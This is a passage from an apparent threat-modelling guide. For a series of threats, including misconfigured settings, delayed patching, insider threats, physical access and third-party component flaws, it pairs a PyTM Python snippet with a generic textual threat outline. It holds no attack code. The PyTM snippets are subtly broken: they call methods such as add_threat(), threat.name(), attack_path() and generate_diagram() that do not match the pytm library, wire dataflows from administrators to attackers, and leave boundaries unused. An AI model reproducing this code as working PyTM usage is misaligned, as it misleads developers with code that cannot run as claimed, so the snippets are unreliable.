disruption or denial of service.\n```\n\n\n### Misconfigured security settings\n\n#### **PyTM**\n\nThis code creates a threat model using PyTM and represents the \"Misconfigured Security Settings\" threat scenario. It includes actors such as \"Administrator\" and \"Attacker\" and defines a dataflow between them.\n\nThe threat model defines the \"Misconfigured Security Settings\" threat and describes the threat arising from misconfigured security settings, leading to vulnerabilities and potential unauthorized access.\n\nThe code generates a threat model diagram in PNG format, named \"misconfigured_security_settings_threat_model.png.\"\n\n```\nfrom pytm import TM, Actor, Dataflow\n\n# Create a new threat model\ntm = TM(\"Misconfigured Security Settings Threat Model\")\n\n# Create actors\nadministrator = Actor(\"Administrator\")\nattacker = Actor(\"Attacker\")\n\n# Define dataflows\ndataflow = Dataflow(administrator, attacker, \"Data Flow\")\n\n# Define Misconfigured Security Settings threat\ntm.add_threat()\ntm.threat.name(\"Misconfigured Security Settings\")\ntm.threat.description(\"Threat arising from misconfigured security settings, leading to vulnerabilities and potential unauthorized access\")\n\n# Define attack paths\ntm.attack_path(administrator, dataflow, \"Misconfiguration Attack\")\n\n# Generate the threat model diagram\ntm.generate_diagram(\"misconfigured_security_settings_threat_model.png\")\n```\n\n#### **Microsoft Threat Model**\n\n```\nThreat Model Diagram for Misconfigured Security Settings:\n\nConcepts:\n- Misconfigured Security Settings: Configuration settings that do not adhere to recommended security practices, leaving systems or components vulnerable to attacks or unauthorized access.\n- Security Configuration: The settings and configurations applied to systems, applications, or network components to enforce security controls and protect against threats.\n- Attack Surface: The collection of entry points or vulnerabilities that can be exploited by attackers to gain unauthorized access or compromise a system.\n- Attack Path: The path or sequence of steps an attacker can take to exploit misconfigured security settings and compromise the system.\n\nUsers:\n1. System Administrators:\n   - Threat: Inadequate Configuration\n   - Responsible for configuring and managing security settings of systems, applications, or network components.\n   - May inadvertently misconfigure security settings, leaving vulnerabilities or weak points open to exploitation.\n\n2. Attackers:\n   - Threat: Unauthorized Access or Exploitation\n   - Attempt to exploit misconfigured security settings to gain unauthorized access, escalate privileges, or compromise the system.\n   - Exploit weaknesses in security configurations to bypass controls and launch attacks.\n\nComponents:\n1. System or Application:\n   - Represents the system or application with security settings that need to be configured correctly.\n   - Contains various security-related configurations that affect the overall security posture.\n\n2. Security Configuration Settings:\n   - Specific settings or configurations applied to systems, applications, or network components to enforce security controls.\n   - Include settings related to authentication, access controls, encryption, logging, auditing, and other security measures.\n\nInteractions:\n1. System Administrators:\n   - Responsible for configuring and managing security settings.\n   - May misconfigure security settings, leaving vulnerabilities or weak points open to exploitation by attackers.\n\n2. Attackers:\n   - Attempt to exploit misconfigured security settings to gain unauthorized access or compromise the system.\n   - Exploit weaknesses in security configurations to bypass controls and launch attacks.\n\n3. System or Application:\n   - Contains security configurations that need to be correctly applied and managed.\n   - Vulnerable to attacks and unauthorized access if security settings are misconfigured.\n\n4. Attack Surface:\n   - Represents the collection of entry points or vulnerabilities that attackers can exploit.\n   - Misconfigured security settings may increase the attack surface and provide opportunities for exploitation.\n\n5. Attack Path:\n   - Represents the sequence of steps an attacker can take to exploit misconfigured security settings.\n   - Follows the path of least resistance to compromise the system or gain unauthorized access.\n```\n\n\n### Insecure default configurations\n\n#### **PyTM**\n\nThis code creates a threat model using PyTM and represents the \"Insecure Default Configurations\" threat scenario. It includes actors such as \"Administrator\" and \"Attacker\" and defines a dataflow between them.\n\nThe threat model defines the \"Insecure Default Configurations\" threat and describes the threat arising from insecure default configurations, leading to vulnerabilities and potential unauthorized access.\n\nThe code generates a threat model diagram in PNG format, named \"insecure_default_configurations_threat_model.png.\"\n\n```\nfrom pytm import TM, Actor, Dataflow\n\n# Create a new threat model\ntm = TM(\"Insecure Default Configurations Threat Model\")\n\n# Create actors\nadministrator = Actor(\"Administrator\")\nattacker = Actor(\"Attacker\")\n\n# Define dataflows\ndataflow = Dataflow(administrator, attacker, \"Data Flow\")\n\n# Define Insecure Default Configurations threat\ntm.add_threat()\ntm.threat.name(\"Insecure Default Configurations\")\ntm.threat.description(\"Threat arising from insecure default configurations, leading to vulnerabilities and potential unauthorized access\")\n\n# Define attack paths\ntm.attack_path(administrator, dataflow, \"Insecure Default Configurations Attack\")\n\n# Generate the threat model diagram\ntm.generate_diagram(\"insecure_default_configurations_threat_model.png\")\n```\n\n\n#### **Microsoft Threat Model**\n\n```\nThreat Model Diagram for Insecure Default Configurations:\n\nConcepts:\n- Insecure Default Configurations: System or application configurations that are insecure or weak by default, often set during installation or initialization.\n- Attack Surface: The collection of entry points or vulnerabilities that can be exploited by attackers to gain unauthorized access or compromise a system.\n- Attack Path: The path or sequence of steps an attacker can take to exploit insecure default configurations and compromise the system.\n\nUsers:\n1. System Administrators:\n   - Threat: Inadequate Configuration\n   - Responsible for setting up and configuring systems or applications.\n   - May unintentionally leave insecure default configurations in place, providing potential vulnerabilities to attackers.\n\n2. Attackers:\n   - Threat: Unauthorized Access or Exploitation\n   - Attempt to exploit insecure default configurations to gain unauthorized access, escalate privileges, or compromise the system.\n   - Exploit weaknesses in default configurations to bypass security controls and launch attacks.\n\nComponents:\n1. System or Application:\n   - Represents the system or application with default configurations that need to be changed.\n   - Contains various settings and configurations that impact security.\n\n2. Default Configuration Settings:\n   - The initial settings or configurations that are in place when a system or application is installed or initialized.\n   - These configurations may not provide adequate security and need to be modified to reduce vulnerabilities.\n\nInteractions:\n1. System Administrators:\n   - Responsible for setting up and configuring systems or applications.\n   - May overlook or neglect changing insecure default configurations, leaving potential vulnerabilities for attackers.\n\n2. Attackers:\n   - Attempt to exploit insecure default configurations to gain unauthorized access or compromise the system.\n   - Exploit weaknesses in default configurations to bypass security controls and launch attacks.\n\n3. System or Application:\n   - Contains default configurations that need to be changed to reduce vulnerabilities.\n   - Vulnerable to attacks and unauthorized access if insecure default configurations are not addressed.\n\n4. Attack Surface:\n   - Represents the collection of entry points or vulnerabilities that attackers can exploit.\n   - Insecure default configurations may increase the attack surface and provide opportunities for exploitation.\n\n5. Attack Path:\n   - Represents the sequence of steps an attacker can take to exploit insecure default configurations.\n   - Follows the path of least resistance to compromise the system or gain unauthorized access.\n```\n\n### Delayed patching of software\n\n#### **PyTM**\n\nThis code creates a threat model using PyTM and represents the \"Delayed Patching of Software\" threat scenario. It includes actors such as \"Administrator\" and \"Attacker\" and defines a dataflow between them.\n\nThe threat model defines the \"Delayed Patching of Software\" threat and describes the threat arising from delayed or inadequate software patching, leaving systems vulnerable to known exploits.\n\nThe code generates a threat model diagram in PNG format, named \"delayed_patching_threat_model.png.\"\n\n\n```\nfrom pytm import TM, Actor, Dataflow\n\n# Create a new threat model\ntm = TM(\"Delayed Patching of Software Threat Model\")\n\n# Create actors\nadministrator = Actor(\"Administrator\")\nattacker = Actor(\"Attacker\")\n\n# Define dataflows\ndataflow = Dataflow(administrator, attacker, \"Data Flow\")\n\n# Define Delayed Patching of Software threat\ntm.add_threat()\ntm.threat.name(\"Delayed Patching of Software\")\ntm.threat.description(\"Threat arising from delayed or inadequate software patching, leaving systems vulnerable to known exploits\")\n\n# Define attack paths\ntm.attack_path(administrator, dataflow, \"Delayed Patching of Software Attack\")\n\n# Generate the threat model diagram\ntm.generate_diagram(\"delayed_patching_threat_model.png\")\n```\n\n\n#### **Microsoft Threat Model**\n\n```\nThreat Model Diagram for Delayed Patching of Software:\n\nConcepts:\n- Delayed Patching of Software: The practice of not applying patches and updates promptly to software or systems, leaving them vulnerable to known security vulnerabilities.\n- Attack Surface: The collection of entry points or vulnerabilities that can be exploited by attackers to gain unauthorized access or compromise a system.\n- Attack Path: The path or sequence of steps an attacker can take to exploit the delayed patching of software and compromise the system.\n\nUsers:\n1. System Administrators:\n   - Threat: Inadequate Patch Management\n   - Responsible for managing and applying patches and updates to software or systems.\n   - May delay or neglect applying patches promptly, leaving vulnerabilities open for exploitation.\n\n2. Attackers:\n   - Threat: Exploitation of Known Vulnerabilities\n   - Attempt to exploit known vulnerabilities in software or systems that have not been patched promptly.\n   - Exploit weaknesses in unpatched software to gain unauthorized access, escalate privileges, or compromise the system.\n\nComponents:\n1. Software or System:\n   - Represents the software or system that requires regular patching and updates.\n   - Contains known vulnerabilities that can be addressed through patching.\n\n2. Patch Management Process:\n   - The process of managing and applying patches and updates to software or systems.\n   - Includes tasks such as patch assessment, testing, deployment, and monitoring.\n\nInteractions:\n1. System Administrators:\n   - Responsible for managing and applying patches and updates to software or systems.\n   - May delay or neglect applying patches promptly due to operational constraints or other reasons.\n\n2. Attackers:\n   - Attempt to exploit known vulnerabilities in unpatched software or systems.\n   - Exploit weaknesses in software that has not been updated to gain unauthorized access or compromise the system.\n\n3. Software or System:\n   - Requires regular patching and updates to address known vulnerabilities.\n   - Vulnerable to attacks and unauthorized access if patches are not applied promptly.\n\n4. Attack Surface:\n   - Represents the collection of entry points or vulnerabilities that attackers can exploit.\n   - Delayed patching of software may increase the attack surface and provide opportunities for exploitation.\n\n5. Attack Path:\n   - Represents the sequence of steps an attacker can take to exploit delayed patching of software.\n   - Follows the path of least resistance to compromise the system or gain unauthorized access.\n\nNote: This simplified textual representation provides a high-level view of the components, data flows, and interactions related to the \"Delayed Patching of Software\" threat. In a comprehensive threat model, additional specific components and interactions relevant to the system being analyzed would be included.\n```\n\n### Lack of vulnerability scanning\n\n#### **PyTM**\n\nThis code creates a threat model using PyTM and represents the \"Lack of Vulnerability Scanning\" threat scenario. It includes actors such as \"Administrator\" and \"Attacker\" and defines a dataflow between them.\n\nThe threat model defines the \"Lack of Vulnerability Scanning\" threat and describes the threat arising from the lack of regular vulnerability scanning, which can result in undetected vulnerabilities and potential exploitation.\n\nThe code generates a threat model diagram in PNG format, named \"lack_of_vulnerability_scanning_threat_model.png.\"\n\n\n```\nfrom pytm import TM, Actor, Dataflow\n\n# Create a new threat model\ntm = TM(\"Lack of Vulnerability Scanning Threat Model\")\n\n# Create actors\nadministrator = Actor(\"Administrator\")\nattacker = Actor(\"Attacker\")\n\n# Define dataflows\ndataflow = Dataflow(administrator, attacker, \"Data Flow\")\n\n# Define Lack of Vulnerability Scanning threat\ntm.add_threat()\ntm.threat.name(\"Lack of Vulnerability Scanning\")\ntm.threat.description(\"Threat arising from the lack of regular vulnerability scanning, which can result in undetected vulnerabilities and potential exploitation\")\n\n# Define attack paths\ntm.attack_path(administrator, dataflow, \"Lack of Vulnerability Scanning Attack\")\n\n# Generate the threat model diagram\ntm.generate_diagram(\"lack_of_vulnerability_scanning_threat_model.png\")\n```\n\n\n#### **Microsoft Threat Model**\n\n```\nThreat Model Diagram for Lack of Vulnerability Scanning:\n\nConcepts:\n- Lack of Vulnerability Scanning: Failure to regularly scan systems or applications for known vulnerabilities and weaknesses.\n- Vulnerability Assessment: The process of identifying and assessing vulnerabilities within systems or applications.\n- Attack Surface: The collection of entry points or vulnerabilities that can be exploited by attackers to gain unauthorized access or compromise a system.\n- Attack Path: The path or sequence of steps an attacker can take to exploit existing vulnerabilities and compromise the system.\n\nUsers:\n1. System Administrators:\n   - Responsible for managing and maintaining systems or applications.\n   - May neglect or overlook the importance of regular vulnerability scanning.\n\n2. Attackers:\n   - Threat: Exploitation of Unpatched Vulnerabilities\n   - Attempt to identify and exploit unpatched vulnerabilities in systems or applications.\n   - Exploit weaknesses that have not been detected due to the lack of vulnerability scanning.\n\nComponents:\n1. System or Application:\n   - Represents the system or application that requires regular vulnerability scanning.\n   - Contains potential vulnerabilities that need to be identified and mitigated.\n\n2. Vulnerability Scanning Tool:\n   - A tool or software used to scan systems or applications for known vulnerabilities.\n   - Detects and reports on potential weaknesses that could be exploited by attackers.\n\nInteractions:\n1. System Administrators:\n   - Responsible for managing and maintaining systems or applications.\n   - May fail to prioritize or schedule regular vulnerability scanning, leaving systems exposed to unpatched vulnerabilities.\n\n2. Attackers:\n   - Attempt to identify and exploit unpatched vulnerabilities in systems or applications.\n   - Exploit weaknesses that have not been detected due to the lack of vulnerability scanning.\n\n3. System or Application:\n   - Requires regular vulnerability scanning to identify and mitigate potential vulnerabilities.\n   - Vulnerable to attacks and unauthorized access if unpatched vulnerabilities are not detected and addressed.\n\n4. Attack Surface:\n   - Represents the collection of entry points or vulnerabilities that attackers can exploit.\n   - Lack of vulnerability scanning may increase the attack surface and provide opportunities for exploitation.\n\n5. Attack Path:\n   - Represents the sequence of steps an attacker can take to exploit unpatched vulnerabilities.\n   - Follows the path of least resistance to compromise the system or gain unauthorized access.\n```\n\n\n### Malicious or negligent insiders\n\n#### **PyTM**\n\nThis code creates a threat model using PyTM and represents the \"Malicious or Negligent Insiders\" threat scenario. It includes actors such as \"Insider\" and \"Attacker\" and defines a dataflow between them.\n\nThe threat model defines the \"Malicious or Negligent Insiders\" threat and describes the threat arising from insiders with malicious intent or negligent behavior who may abuse their privileges, steal sensitive data, or cause damage to the system.\n\nThe code generates a threat model diagram in PNG format, named \"malicious_or_negligent_insiders_threat_model.png.\"\n\n```\nfrom pytm import TM, Actor, Dataflow\n\n# Create a new threat model\ntm = TM(\"Malicious or Negligent Insiders Threat Model\")\n\n# Create actors\ninsider = Actor(\"Insider\")\nattacker = Actor(\"Attacker\")\n\n# Define dataflows\ndataflow = Dataflow(insider, attacker, \"Data Flow\")\n\n# Define Malicious or Negligent Insiders threat\ntm.add_threat()\ntm.threat.name(\"Malicious or Negligent Insiders\")\ntm.threat.description(\"Threat arising from insiders with malicious intent or negligent behavior who may abuse their privileges, steal sensitive data, or cause damage to the system\")\n\n# Define attack paths\ntm.attack_path(insider, dataflow, \"Malicious or Negligent Insiders Attack\")\n\n# Generate the threat model diagram\ntm.generate_diagram(\"malicious_or_negligent_insiders_threat_model.png\")\n```\n\n#### **Microsoft Threat Model**\n\n```\nThreat Model Diagram for Malicious or Negligent Insiders:\n\nConcepts:\n- Insiders: Individuals who have authorized access to a system or application.\n- Malicious Insider: An insider who intentionally abuses their privileges or acts with malicious intent.\n- Negligent Insider: An insider who unintentionally causes harm or breaches security due to carelessness.\n- Access Controls: Mechanisms used to enforce authorized access to resources.\n- Data Loss or Leakage: Unauthorized disclosure or loss of sensitive data.\n\nUsers:\n1. Malicious Insider:\n   - Threat: Unauthorized Access or Data Theft\n   - Exploits their authorized access to gain unauthorized access, steal data, or cause damage to the system.\n\n2. Negligent Insider:\n   - Threat: Accidental Data Breach\n   - Unintentionally exposes sensitive data or breaches security due to carelessness or lack of awareness.\n\nComponents:\n1. Authentication System:\n   - Manages user authentication and access controls.\n   - Data Flow: User authentication requests.\n\n2. Data Storage:\n   - Stores sensitive data.\n   - Data Flow: Reading or modifying sensitive data.\n\n3. Logging System:\n   - Captures logs and auditing information.\n   - Data Flow: Storing logs of user activities.\n\nInteractions:\n1. Malicious Insider:\n   - Exploits weak authentication controls or stolen credentials to gain unauthorized access to the system.\n   - Performs unauthorized data access or theft by bypassing access controls or abusing privileges.\n\n2. Negligent Insider:\n   - Accidentally exposes sensitive data by misconfiguring access controls or mishandling data.\n   - May unknowingly download or transmit sensitive data to external sources.\n\n3. Authentication System:\n   - Authenticates user credentials and enforces access controls.\n   - Logs authentication activities and detects suspicious login patterns.\n\n4. Data Storage:\n   - Stores sensitive data and enforces access controls.\n   - Logs data access and modification activities.\n\n5. Logging System:\n   - Captures logs of user activities, including authentication attempts and data access events.\n   - Supports monitoring and analysis to identify suspicious or unauthorized activities.\n\n```\n\n\n\n### Unauthorized data access or theft\n\n#### **PyTM**\n\nThis code creates a threat model using PyTM and represents the \"Unauthorized Data Access or Theft\" threat scenario. It includes actors such as \"Attacker\" and \"User\" and defines a dataflow between the user and a sensitive datastore.\n\nThe threat model defines the \"Unauthorized Data Access or Theft\" threat and describes the threat of unauthorized access or theft of sensitive data by attackers.\n\nThe code generates a threat model diagram in PNG format, named \"unauthorized_data_access_theft_threat_model.png.\"\n\n\n```\nfrom pytm import TM, Actor, Datastore, Boundary, Dataflow\n\n# Create a new threat model\ntm = TM(\"Unauthorized Data Access or Theft Threat Model\")\n\n# Create actors\nattacker = Actor(\"Attacker\")\nuser = Actor(\"User\")\n\n# Create a boundary\nboundary = Boundary(\"Internal Network\")\n\n# Create a datastore\ndatastore = Datastore(\"Sensitive Data\")\n\n# Define dataflows\ndataflow = Dataflow(user, datastore, \"Data Access\")\n\n# Define Unauthorized Data Access or Theft threat\ntm.add_threat()\ntm.threat.name(\"Unauthorized Data Access or Theft\")\ntm.threat.description(\"Threat of unauthorized access or theft of sensitive data by attackers\")\n\n# Define attack paths\ntm.attack_path(attacker, dataflow, \"Unauthorized Data Access or Theft Attack\")\n\n# Generate the threat model diagram\ntm.generate_diagram(\"unauthorized_data_access_theft_threat_model.png\")\n```\n\n\n#### **Microsoft Threat Model**\n\n```\nThreat Model Diagram for Unauthorized Data Access or Theft:\n\nConcepts:\n- Unauthorized Data Access or Theft: The unauthorized access, theft, or disclosure of sensitive or confidential data.\n- Data Classification: The process of categorizing data based on its sensitivity or criticality.\n- Access Controls: Mechanisms and policies in place to regulate access to data and protect it from unauthorized access.\n- Attack Surface: The collection of entry points or vulnerabilities that can be exploited by attackers to gain unauthorized access or compromise a system.\n- Attack Path: The path or sequence of steps an attacker can take to exploit vulnerabilities and gain unauthorized access to data.\n\nUsers:\n1. System Administrators:\n   - Responsible for managing access controls and permissions to sensitive data.\n   - May misconfigure or overlook security settings, leading to unauthorized access or theft.\n\n2. Attackers:\n   - Threat: Unauthorized Data Access or Theft\n   - Attempt to gain unauthorized access to sensitive data or steal it for malicious purposes.\n   - Exploit vulnerabilities in access controls or other weaknesses to bypass security measures.\n\nComponents:\n1. Sensitive Data:\n   - Represents the data that needs to be protected from unauthorized access or theft.\n   - Includes personally identifiable information (PII), financial data, intellectual property, or other confidential data.\n\n2. Access Control Mechanisms:\n   - The mechanisms and policies in place to control access to sensitive data.\n   - Examples include user authentication, role-based access control (RBAC), and encryption.\n\nInteractions:\n1. System Administrators:\n   - Responsible for managing access controls and permissions to sensitive data.\n   - May misconfigure or overlook security settings, leading to unauthorized access or theft.\n\n2. Attackers:\n   - Attempt to gain unauthorized access to sensitive data or steal it for malicious purposes.\n   - Exploit vulnerabilities in access controls or other weaknesses to bypass security measures.\n\n3. Sensitive Data:\n   - Requires appropriate access controls to prevent unauthorized access or theft.\n   - Vulnerable to unauthorized access or theft if access controls are not properly implemented or misconfigured.\n\n4. Attack Surface:\n   - Represents the collection of entry points or vulnerabilities that attackers can exploit.\n   - Weak or misconfigured access controls may increase the attack surface and provide opportunities for unauthorized access.\n\n5. Attack Path:\n   - Represents the sequence of steps an attacker can take to exploit vulnerabilities and gain unauthorized access to sensitive data.\n   - Follows the path of least resistance to compromise the system and steal data.\n```\n\n\n\n### Unauthorized physical access\n\n#### **PyTM**\n\nThis code creates a threat model using PyTM and represents the \"Unauthorized Physical Access\" threat scenario. It includes actors such as \"Attacker,\" \"Physical Attacker,\" and \"User\" and defines a dataflow between the user and a sensitive equipment datastore.\n\nThe threat model defines the \"Unauthorized Physical Access\" threat and describes the threat of unauthorized physical access to sensitive equipment by attackers.\n\nThe code generates a threat model diagram in PNG format, named \"unauthorized_physical_access_threat_model.png.\"\n\n\n```\nfrom pytm import TM, Actor, Datastore, Boundary, Dataflow\n\n# Create a new threat model\ntm = TM(\"Unauthorized Physical Access Threat Model\")\n\n# Create actors\nattacker = Actor(\"Attacker\")\nphysical_attacker = Actor(\"Physical Attacker\")\nuser = Actor(\"User\")\n\n# Create a boundary\nboundary = Boundary(\"Physical Location\")\n\n# Create a datastore\ndatastore = Datastore(\"Sensitive Equipment\")\n\n# Define dataflows\ndataflow = Dataflow(user, datastore, \"Data Access\")\n\n# Define Unauthorized Physical Access threat\ntm.add_threat()\ntm.threat.name(\"Unauthorized Physical Access\")\ntm.threat.description(\"Threat of unauthorized physical access to sensitive equipment by attackers\")\n\n# Define attack paths\ntm.attack_path(physical_attacker, dataflow, \"Unauthorized Physical Access Attack\")\n\n# Generate the threat model diagram\ntm.generate_diagram(\"unauthorized_physical_access_threat_model.png\")\n```\n\n#### **Microsoft Threat Model**\n\n```\nThreat Model Diagram for Unauthorized Physical Access:\n\nConcepts:\n- Unauthorized Physical Access: The unauthorized entry or presence of individuals in physical areas where they should not be.\n- Physical Security: Measures and controls implemented to protect physical assets, such as buildings, rooms, and equipment.\n- Access Control: Mechanisms and policies in place to regulate entry and restrict access to physical areas.\n- Attack Surface: Vulnerabilities and entry points that can be exploited by unauthorized individuals to gain physical access.\n- Attack Path: The sequence of steps an attacker can take to bypass physical security measures and gain unauthorized access.\n\nUsers:\n1. Facility Administrators:\n   - Responsible for managing physical security measures and access control systems.\n   - May misconfigure or overlook security settings, leading to unauthorized physical access.\n\n2. Unauthorized Individuals:\n   - Threat: Unauthorized Physical Access\n   - Attempt to gain physical access to restricted areas without proper authorization.\n   - Exploit vulnerabilities in physical security measures or find ways to bypass them.\n\nComponents:\n1. Physical Areas:\n   - Represents the different areas within a facility or premises, such as server rooms, data centers, or restricted zones.\n   - Each area has a designated level of access restriction and contains valuable assets or sensitive information.\n\n2. Access Control Mechanisms:\n   - The mechanisms and controls in place to regulate entry and restrict access to physical areas.\n   - Examples include access cards, biometric systems, locks, alarms, and surveillance cameras.\n\nInteractions:\n1. Facility Administrators:\n   - Responsible for managing physical security measures and access control systems.\n   - May misconfigure or overlook security settings, leading to unauthorized physical access.\n\n2. Unauthorized Individuals:\n   - Attempt to gain physical access to restricted areas without proper authorization.\n   - Exploit vulnerabilities in physical security measures or find ways to bypass them.\n\n3. Physical Areas:\n   - Require proper access control mechanisms to prevent unauthorized physical access.\n   - Vulnerable to unauthorized access if physical security measures are not properly implemented or misconfigured.\n\n4. Attack Surface:\n   - Represents the vulnerabilities and entry points that unauthorized individuals can exploit.\n   - Weak or misconfigured physical security measures may increase the attack surface and provide opportunities for unauthorized physical access.\n\n5. Attack Path:\n   - Represents the sequence of steps an attacker can take to bypass physical security measures and gain unauthorized access.\n   - Follows the path of least resistance to compromise the physical security of the facility or premises.\n```\n\n\n\n### Theft or destruction of hardware\n\n#### **PyTM**\n\nThis code creates a threat model using PyTM and represents the \"Theft or Destruction of Hardware\" threat scenario. It includes actors such as \"Attacker,\" \"Physical Attacker,\" and \"User\" and defines a dataflow between the user and a hardware datastore.\n\nThe threat model defines the \"Theft or Destruction of Hardware\" threat and describes the threat of theft or destruction of hardware by attackers.\n\nThe code generates a threat model diagram in PNG format, named \"theft_destruction_hardware_threat_model.png.\"\n\n\n```\nfrom pytm import TM, Actor, Datastore, Boundary, Dataflow\n\n# Create a new threat model\ntm = TM(\"Theft or Destruction of Hardware Threat Model\")\n\n# Create actors\nattacker = Actor(\"Attacker\")\nphysical_attacker = Actor(\"Physical Attacker\")\nuser = Actor(\"User\")\n\n# Create a boundary\nboundary = Boundary(\"Physical Location\")\n\n# Create a datastore\ndatastore = Datastore(\"Hardware\")\n\n# Define dataflows\ndataflow = Dataflow(user, datastore, \"Data Access\")\n\n# Define Theft or Destruction of Hardware threat\ntm.add_threat()\ntm.threat.name(\"Theft or Destruction of Hardware\")\ntm.threat.description(\"Threat of theft or destruction of hardware by attackers\")\n\n# Define attack paths\ntm.attack_path(physical_attacker, dataflow, \"Theft or Destruction of Hardware Attack\")\n\n# Generate the threat model diagram\ntm.generate_diagram(\"theft_destruction_hardware_threat_model.png\")\n```\n\n#### **Microsoft Threat Model**\n\n```\nThreat Model Diagram for Theft or Destruction of Hardware:\n\nConcepts:\n- Theft or Destruction of Hardware: The unauthorized removal or damage of physical hardware devices.\n- Physical Security: Measures and controls implemented to protect physical assets, such as hardware devices.\n- Asset Inventory: A record of all hardware devices, their locations, and ownership.\n- Attack Surface: Vulnerabilities and entry points that can be exploited by unauthorized individuals to steal or damage hardware.\n- Attack Path: The sequence of steps an attacker can take to bypass physical security measures and steal or destroy hardware.\n\nUsers:\n1. Facility Administrators:\n   - Responsible for managing physical security measures and maintaining the asset inventory.\n   - May misconfigure or overlook security settings, leading to vulnerabilities in hardware protection.\n\n2. Unauthorized Individuals:\n   - Threat: Theft or Destruction of Hardware\n   - Attempt to steal or damage hardware devices for personal gain, sabotage, or other malicious purposes.\n   - Exploit vulnerabilities in physical security measures or find ways to bypass them.\n\nComponents:\n1. Hardware Devices:\n   - Represents the physical devices, such as servers, workstations, laptops, or other valuable equipment.\n   - Each device has its unique identification, location, and ownership information recorded in the asset inventory.\n\n2. Physical Security Measures:\n   - The measures and controls in place to protect hardware devices from theft or destruction.\n   - Examples include locks, alarms, surveillance cameras, access control mechanisms, and secure storage areas.\n\n3. Asset Inventory:\n   - A record or database that tracks all hardware devices, their locations, and ownership information.\n   - Helps identify missing or compromised hardware and aids in recovery or replacement processes.\n\nInteractions:\n1. Facility Administrators:\n   - Responsible for managing physical security measures and maintaining the asset inventory.\n   - May misconfigure or overlook security settings, leading to vulnerabilities in hardware protection.\n\n2. Unauthorized Individuals:\n   - Attempt to steal or damage hardware devices for personal gain, sabotage, or other malicious purposes.\n   - Exploit vulnerabilities in physical security measures or find ways to bypass them.\n\n3. Hardware Devices:\n   - Require proper physical security measures to prevent unauthorized access, theft, or destruction.\n   - Vulnerable to theft or destruction if physical security measures are not properly implemented or misconfigured.\n\n4. Asset Inventory:\n   - Maintained by facility administrators to track hardware devices and ownership information.\n   - Helps in identifying missing or compromised hardware and aids in recovery or replacement processes.\n\n5. Attack Surface:\n   - Represents the vulnerabilities and entry points that unauthorized individuals can exploit.\n   - Weak or misconfigured physical security measures may increase the attack surface and provide opportunities for theft or destruction of hardware.\n\n6. Attack Path:\n   - Represents the sequence of steps an attacker can take to bypass physical security measures and steal or destroy hardware.\n   - Follows the path of least resistance to compromise the physical security of the hardware devices.\n```\n\n\n### Vulnerabilities in third-party components\n\n#### **PyTM**\n\nThis code creates a threat model using PyTM and represents the \"Vulnerabilities in Third-Party Components\" threat scenario. It includes actors such as \"Attacker\" and \"User\" and defines a dataflow between the user and a sensitive data datastore.\n\nThe threat model defines the \"Vulnerabilities in Third-Party Components\" threat and describes the threat of vulnerabilities in third-party components used in the system.\n\nThe code generates a threat model diagram in PNG format, named \"third_party_component_vulnerabilities_threat_model.png.\"\n\n```\nfrom pytm import TM, Actor, Datastore, Dataflow, Boundary\n\n# Create a new threat model\ntm = TM(\"Vulnerabilities in Third-Party Components Threat Model\")\n\n# Create actors\nattacker = Actor(\"Attacker\")\nuser = Actor(\"User\")\n\n# Create a boundary\nboundary = Boundary(\"System Boundary\")\n\n# Create a datastore\ndatastore = Datastore(\"Sensitive Data\")\n\n# Define dataflows\ndataflow = Dataflow(user, datastore, \"Data Access\")\n\n# Define Vulnerabilities in Third-Party Components threat\ntm.add_threat()\ntm.threat.name(\"Vulnerabilities in Third-Party Components\")\ntm.threat.description(\"Threat of vulnerabilities in third-party components used in the system\")\n\n# Define attack paths\ntm.attack_path(attacker, dataflow, \"Exploitation of Third-Party Component Vulnerabilities\")\n\n# Generate the threat model diagram\ntm.generate_diagram(\"third_party_component_vulnerabilities_threat_model.png\")\n```\n\n#### **Microsoft Threat Model**\n\n```\nThreat Model Diagram for Vulnerabilities in Third-Party Components:\n\nConcepts:\n- Vulnerabilities in Third-Party Components: Weaknesses or flaws present in software or hardware components developed by external third-party vendors.\n- Third-Party Components: Software or hardware modules, libraries, frameworks, or services developed by external vendors and integrated into the system.\n- Software Development Lifecycle (SDLC): The process of developing, testing, and deploying software.\n- Vulnerability Management: The process of identifying, assessing, mitigating, and monitoring vulnerabilities in software components.\n- Patch Management: The process of applying security patches and updates to third-party components.\n\nUsers:\n1. System Developers:\n   - Responsible for integrating and using third-party components in the system.\n   - May unknowingly introduce vulnerabilities by not properly assessing the security of the components or by not implementing them correctly.\n\n2. Third-Party Component Vendors:\n   - Develop and maintain the third-party components used in the system.\n   - May have vulnerabilities in their components due to coding errors, design flaws, or outdated dependencies.\n\nComponents:\n1. Third-Party Components:\n   - Represents the software or hardware modules, libraries, frameworks, or services developed by external vendors and integrated into the system.\n   - Can introduce vulnerabilities if not properly assessed, implemented, or kept up to date with security patches.\n\n2. System Components:\n   - Represents the internal components of the system, including the custom-developed software and other infrastructure elements.\n\n3. Software Development Lifecycle (SDLC):\n   - The process followed by system developers to develop, test, and deploy the system.\n   - Involves activities such as requirements gathering, design, coding, testing, and deployment.\n\nInteractions:\n1. System Developers:\n   - Responsible for integrating and using third-party components in the system.\n   - Should assess the security of the third-party components before integration and ensure they are properly implemented.\n\n2. Third-Party Component Vendors:\n   - Develop and maintain the third-party components used in the system.\n   - Should follow secure coding practices, conduct regular security assessments, and provide security patches and updates for their components.\n\n3. Third-Party Components:\n   - Integrated into the system by system developers.\n   - Can introduce vulnerabilities if not properly assessed or implemented.\n\n4. Software Development Lifecycle (SDLC):\n   - Provides a framework for system developers to follow during the development process.\n   - Should include security measures and assessments to identify and address vulnerabilities in third-party components.\n\n5. Vulnerability Management:\n   - Involves identifying, assessing, mitigating, and monitoring vulnerabilities in software components.\n   - Should be part of the overall system development and maintenance processes.\n\n6. Patch Management:\n   - Involves applying security patches and updates to third-party components to address known vulnerabilities.\n   - Should be performed regularly to keep the system protected against known vulnerabilities.\n```\n\n\n\n### Lack of oversight on third-party activities\n\n#### **PyTM**\n\nThis code creates a threat model using PyTM and represents the \"Lack of Oversight on Third-Party Activities\" threat scenario. It includes actors such as \"Attacker,\" \"User,\" and \"Third-Party\" and defines dataflows between the user, third-party process, and a sensitive data datastore.\n\nThe threat model defines the \"Lack of Oversight on Third-Party Activities\" threat and describes the threat of insufficient oversight on third-party activities in the system.\n\nThe code generates a threat model diagram in PNG format, named \"lack_of_oversight_third_party_activities_threat_model.png.\"\n\n\n\n```\nfrom pytm import TM, Actor, Process, Datastore, Dataflow, Boundary\n\n# Create a new threat model\ntm = TM(\"Lack of Oversight on Third-Party Activities Threat Model\")\n\n# Create actors\nattacker = Actor(\"Attacker\")\nuser = Actor(\"User\")\nthird_party = 